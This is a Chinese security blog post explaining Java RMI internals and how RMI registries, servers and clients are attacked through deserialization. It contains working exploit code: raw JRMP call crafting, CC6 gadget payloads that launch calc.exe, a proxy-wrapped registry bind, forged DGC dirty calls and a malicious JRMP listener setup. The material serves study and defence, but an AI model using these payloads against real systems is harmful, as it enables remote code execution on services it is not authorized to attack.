RMI Attack

RMI组成与调用过程

RMI(Remote Method Invocation)由三大部分构成:

  • Server: 提供远程的对象
    • **骨干网(skeleton)**完成对服务器对象实际的方法调用,并获取返回值。
  • Client: 调用远程的对象
    • **存根(stub)**扮演着远程服务器对象的代理的角色,使该对象可被客户激活。
  • Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

使用RMI调用远程对象方法时的流程如图

具体的调用过程是

  1. RMI客户端在调用远程方法时会先创建 Stub(sun.rmi.registry.RegistryImpl_Stub)。
  2. Stub 会将 Remote 对象传递给远程引用层(java.rmi.server.RemoteRef) 并创建java.rmi.server.RemoteCall(远程调用) 对象。
  3. RemoteCall 序列化 RMI服务名称、Remote 对象。
  4. RMI客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI服务端的远程引用层。
  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef) 收到请求会请求传递给 Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
  6. Skeleton 调用 RemoteCall 反序列化 RMI客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用 RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化 RMI 远程方法调用结果。

RMI QuickStart

1.创建RMI Server&&Registry

实际应用中RMI的Server与Registry是同时创建的,主要分为三步:

  • 创建⼀个继承了 java.rmi.Remote 的接⼝,其中定义我们要远程调⽤的函数,⽐如这⾥的 hello()。
  • 创建⼀个实现了此接⼝的类。
  • 创建⼀个主类,⽤来创建Registry,并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.spring.rmi;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
//1.创建接口
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
//2.实现
public class RemoteHelloWorld extends UnicastRemoteObject implements
IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world from SPRING";
}
}
private void start() throws Exception {
//3.创建Registry并绑定对象
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

2.创建Client并调用

Client如果本地存在此类,就可以直接接收远程返回的实例并执行方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.spring.rmi;

import org.spring.rmi.RMIServer;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://172.20.10.2:1099/Hello");
String ret = hello.hello();
System.out.println( ret);
}
}

协议层分析

详细内容见文档:Java Remote Method Invocation: 10 - RMI Wire Protocol (oracle.com)

协议交互这块比较复杂不想一点点写了(感觉即使写出来也没多大意思),个人认为重点就就是以下几个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//send raw data to attack RMI
public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
Socket socket = SocketFactory.getDefault().createSocket(host, port);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
DataOutputStream dos = null;
try {
OutputStream os = socket.getOutputStream();
dos = new DataOutputStream(os);

dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);

final ObjectOutputStream objOut = new MarshalOutputStream(dos);

objid.write(objOut); //Objid
objOut.writeInt(opNum); // opnum
objOut.writeLong(hash); // hash

for (Object object:
objects) {
objOut.writeObject(object);
}

os.flush();
} finally {
if (dos != null) {
dos.close();
}
if (socket != null) {
socket.close();
}
}
}

public static void main(String[] args) {
try {
ReflectUtils.enableCustomRMIClassLoader();
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("127.0.0.1",21099);
//还记得遍历攻击里我们实现的无依赖获取远程对象存根吗,这里直接套用了。
RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("math"),"math");
Object payloadObj = CC6.getPayloadObject("calc.exe");
//methodSignature 可以通过javap -s 类名计算
final String methodSignature = "add(Ljava/lang/Integer;Ljava/lang/Integer;)Ljava/lang/Integer;";
//这里直接扒了rmi对应的源码
Long methodHash = RemoteUtils.computeMethodHash(methodSignature);
sendRawCall(remoteObj.getHost(),remoteObj.getPort(),remoteObj.objID,-1,methodHash,payloadObj);
}catch (Throwable t){
t.printStackTrace();
}
}

RMI攻击面

信息泄露

由于list方法可以返回有的绑定名,那么我们可以去通过list+lookup的方式遍历获得所有的远程方法信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//参考 https://github.com/qtc-de/remote-method-guesser
package com.dem0.vuln;

import com.dem0.internal.ReflectUtils;
import de.qtc.rmg.networking.RMIRegistryEndpoint;
import de.qtc.rmg.plugin.PluginSystem;
import de.qtc.rmg.utils.RemoteObjectWrapper;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class infoLeak {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("192.168.59.1", 1099);
// System.out.println(registry.list());
ReflectUtils.enableCustomRMIClassLoader();
PluginSystem.init(null);
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("192.168.59.1", 1099);
// Remote[] remoteObjList = rmiRegistry.packup(registry.list());
RemoteObjectWrapper[] rows = rmiRegistry.lookup(registry.list());
for ( RemoteObjectWrapper row: rows) {
System.out.println(row.className +"\tport:" + row.endpoint.getPort());
}
}catch (Throwable t){
t.printStackTrace();
}
}
}

加载远程类

在QuickStart中的例子中,我们使用RMI加载了本地classpath中的类完成方法调用,如果本地classpath中不存在远程lookup到的类就会出现报错。因此类似classpath本地类加载,jdk还提供了一种加载远程类的方式,也就是使用**codebase**。注意自定义codebase要满足以下条件:

  • 安装并配置了SecurityManager
  • 设置了 java.rmi.server.useCodebaseOnly=false 或者Java版本低于7u21、6u45(此时该值默认为false)

想要加载指定地址的远程类,可以在运行server端时指定如下VM options参数:

1
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.111.1:9080/ 

注意:在RMI中Registry,Server,Client都可以互相进行远程类加载,也就是说两两之间都可以通过codebase加载远程类(如果在本地classpath找不到)触发静态代码块执行。

反序列化

在RMI的通信过程中,实际上对象是绑定在本地JVM中的,通过网络传输的是函数参数、函数返回值,如果函数过程中出现异常也需要对异常消息进行传输,所以整个过程中可能出现问题的三个部分是:

  1. 函数参数的序列化/反序列化
  2. 函数返回值的序列化/反序列化
  3. 函数异常处理的序列化/反序列化

注意:

  • 在JEP290出现之前(jdk版本低于6u141, 7u131,8u121),思路1、2、3都是可行的,往后的版本就会被拦截。
  • 在jdk版本小于8u231之前,思路4中的DGC Call是可行的,但往后的版本也存在bypass方式。
  • 思路4中的JRMP Listener不受版本限制。

1.参数反序列化(attack Server)

如果S端对象方法的参数列表中存在类型为Object的参数,那么根据RMI的协议分析,参数会经历序列化与反序列化进行网络传输,此时我们直接将参数设置为恶意的Object就可以触发S端的反序列化漏洞(如果S端存在反序列化链)。

修改Server端类的方法参数为Object:

获取远程类,调用远程方法并传递参数为恶意反序列化对象,成功执行命令。

2.参数反序列化(attack Registry)

上一种方式实用性不够强,我们将其特殊化,即开启RMIserver的主机是否存在方法参数为Object的已知类?注意到Registry本身就是远程对象,因此Registry类的各种方法也是可以获取的,以bind方法为例。

1
2
public void bind(String name, Remote obj)
throws RemoteException, AlreadyBoundException, AccessException;

参数存在Object,符合要求,远程调用bind函数时逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (var4 != 4905912898345647071L) { //Hash
throw new SkeletonMismatchException("interface hash mismatch");
case 0: //opNum
try {
var11 = var2.getInputStream();
//var7是bound name
var7 = (String)var11.readObject();
//var8是remote object
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}

明显对于name以及obj都是直接readObject的,我们构造数据包需要的字段opNum、methodHash等都在代码里可以找到,因此直接发送原始RMI流量至Registry调用其bind方法,并传递恶意对象即可。

1
2
3
Serializable object = new CommonsCollections6().getObject("win_cmd:calc.exe");
ObjID objID = new ObjID(0);
sendRawCall("127.0.0.1",1099,objID,0,4905912898345647071L,object);

或者可以利用代理类封装:

1
2
3
4
5
6
7
8
9
10
Object payload = CC6.getPayloadObject("calc.exe");

Map<String, Object> map = new HashMap<>();
map.put("whatever", payload);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
Remote obj = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);

registry.bind("evil", obj);

3.返回值反序列化

很好理解,如果S端起一个恶意RMI,C端远程调用S端方法后,S端传递返回值给C端,此时如果返回值中包含恶意对象C端就可能受到反序列化攻击。

首先S端起恶意RMI,编写方法返回恶意Object。

然后C端调用S端hello,即可触发反序列化。

伪造Lesae

进行对远程的操作之前,总会先检查Lease是否存在或过期。如果没有就会先发一个DGC Call去获取一个Lease,如果我们伪造这个Lease并替换成恶意反序列化对象,同样可以触发反序列化。S端除了会传入我们使用的远程对象还会传入一个DGCImpl_Skel对象,它的dispatch方法中存在clean()与dirty()对应case 0与case 1,并且都存在反序列化。

因此我们伪造一个Dirty Call即可。

1
2
3
4
5
6
//attack Registry
String registryHost = "127.0.0.1";
int registryPort = 21099;
final Object payloadObject = CC6.getPayloadObject("calc.exe");
ObjID objID = new ObjID(2);
RemoteUtils.sendRawCall(registryHost, registryPort, objID, 0, -669196253586618813L,payloadObject);

或者可以攻击S端:

1
2
3
4
5
6
RMIRegistryEndpoint rmiRegistry = new RMIRegistryEndpoint("192.168.111.1",1099);
RemoteObjectWrapper remoteObj = new RemoteObjectWrapper(rmiRegistry.lookup("math"),"math");
Object payloadObject = CC6.getPayloadObject("calc.exe");

ObjID objID = new ObjID(2);
RemoteUtils.sendRawCall(remoteObj.getHost(), remoteObj.getPort(), objID, 0, -669196253586618813L,payloadObject);

4.异常消息反序列化

JRMP Listener

流量分析中可以看到,每次调用远程对象都会伴随发送一个JRMP Call请求,处理逻辑在UnicastRef调用excuteCall(),正常情况下也就是return Type为1,返回为空,异常状态下return Type 为2,就会触发反序列化。

1
2
3
4
5
6
7
8
//部分代码
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();

因此我们编写一个构造出一个基于JRMP协议的Server,当Client发起JRMP Call时依照JRMP协议格式返回一个报错信息,并将恶意的object包含在内(数据包的object字段)。参考ysoserial#JRMPListener

此方法在高版本下依然有效,原因是JEP290仅仅在JRMP协议层之上进行了过滤,忽略了对JRMP层错误信息的过滤。

DGC Call

类似的过程在Registry与Server之间也存在,Server访问Registry去bind远程对象的时候的时候,Registry会返回DGC请求,因为DGC请求也建立在JRMP之上,因此也可以编写恶意的JRMP Listener攻击Registry。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
String registryHost = "127.0.0.1";
int registryPort = 1099;
String JRMPHost = "127.0.0.1";
int JRMPPort = 16999;

Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
//因为UnicastRemoteObject的默认构造方式是protect的,所以需要反射调用

UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
TCPEndpoint ep = (TCPEndpoint) getFieldValve(getFieldValve(getFieldValve(remoteObject,"ref"),"ref"),"ep");

//这里直接反射修改对应的值,间接修改构造的序列化数据
setFieldValue(ep,"port",JRMPPort);
setFieldValue(ep,"host",JRMPHost);


ObjID objID_ = new ObjID(0);

//Bind("test",payloadObj)
RemoteUtils.sendRawCall(registryHost,registryPort,objID_,0,4905912898345647071L,"test",remoteObject);

这种方式截止到8u231就被禁止了,当然也存在bypass方式能够触发8u241之前的版本。

RMI attack总结

来自参考资料:

攻击类型 jdk版本要求 其它条件
加载远程类 <7u21、6u45
加载远程类 任意 SecurityManager allow/ java.rmi.server.useCodebaseOnly=false
远程对象方法参数反序列化 <8u242 远程对象参数除int、boolean等基本类外/服务端存在反序列化链
远程对象方法参数反序列化 任意 远程对象参数除int、boolean等基本类和String类外/远程对象环境存在反序列化链
Registry方法参数反序列化 <8u121,7u13,6u141 Registry端存在反序列化链
远程对象方法结果 任意 调用端存在反序列化环境
DGC方法返回值存在反序列化 <8u121,7u13,6u141 调用端存在反序列化链
JRMI CALL 报错反序列化 任意 调用端存在反序列化链
Registry bind/rebind 触发JRMI CALL报错 <8u231 Registry存在反序列化链
Registry 方法参数反序列化触发JRMI CALL报错 <8u241 Registry存在反序列化链

REF


RMI Attack
http://example.com/2023/06/02/RMI Attack/
Author
springtime
Posted on
June 2, 2023
Licensed under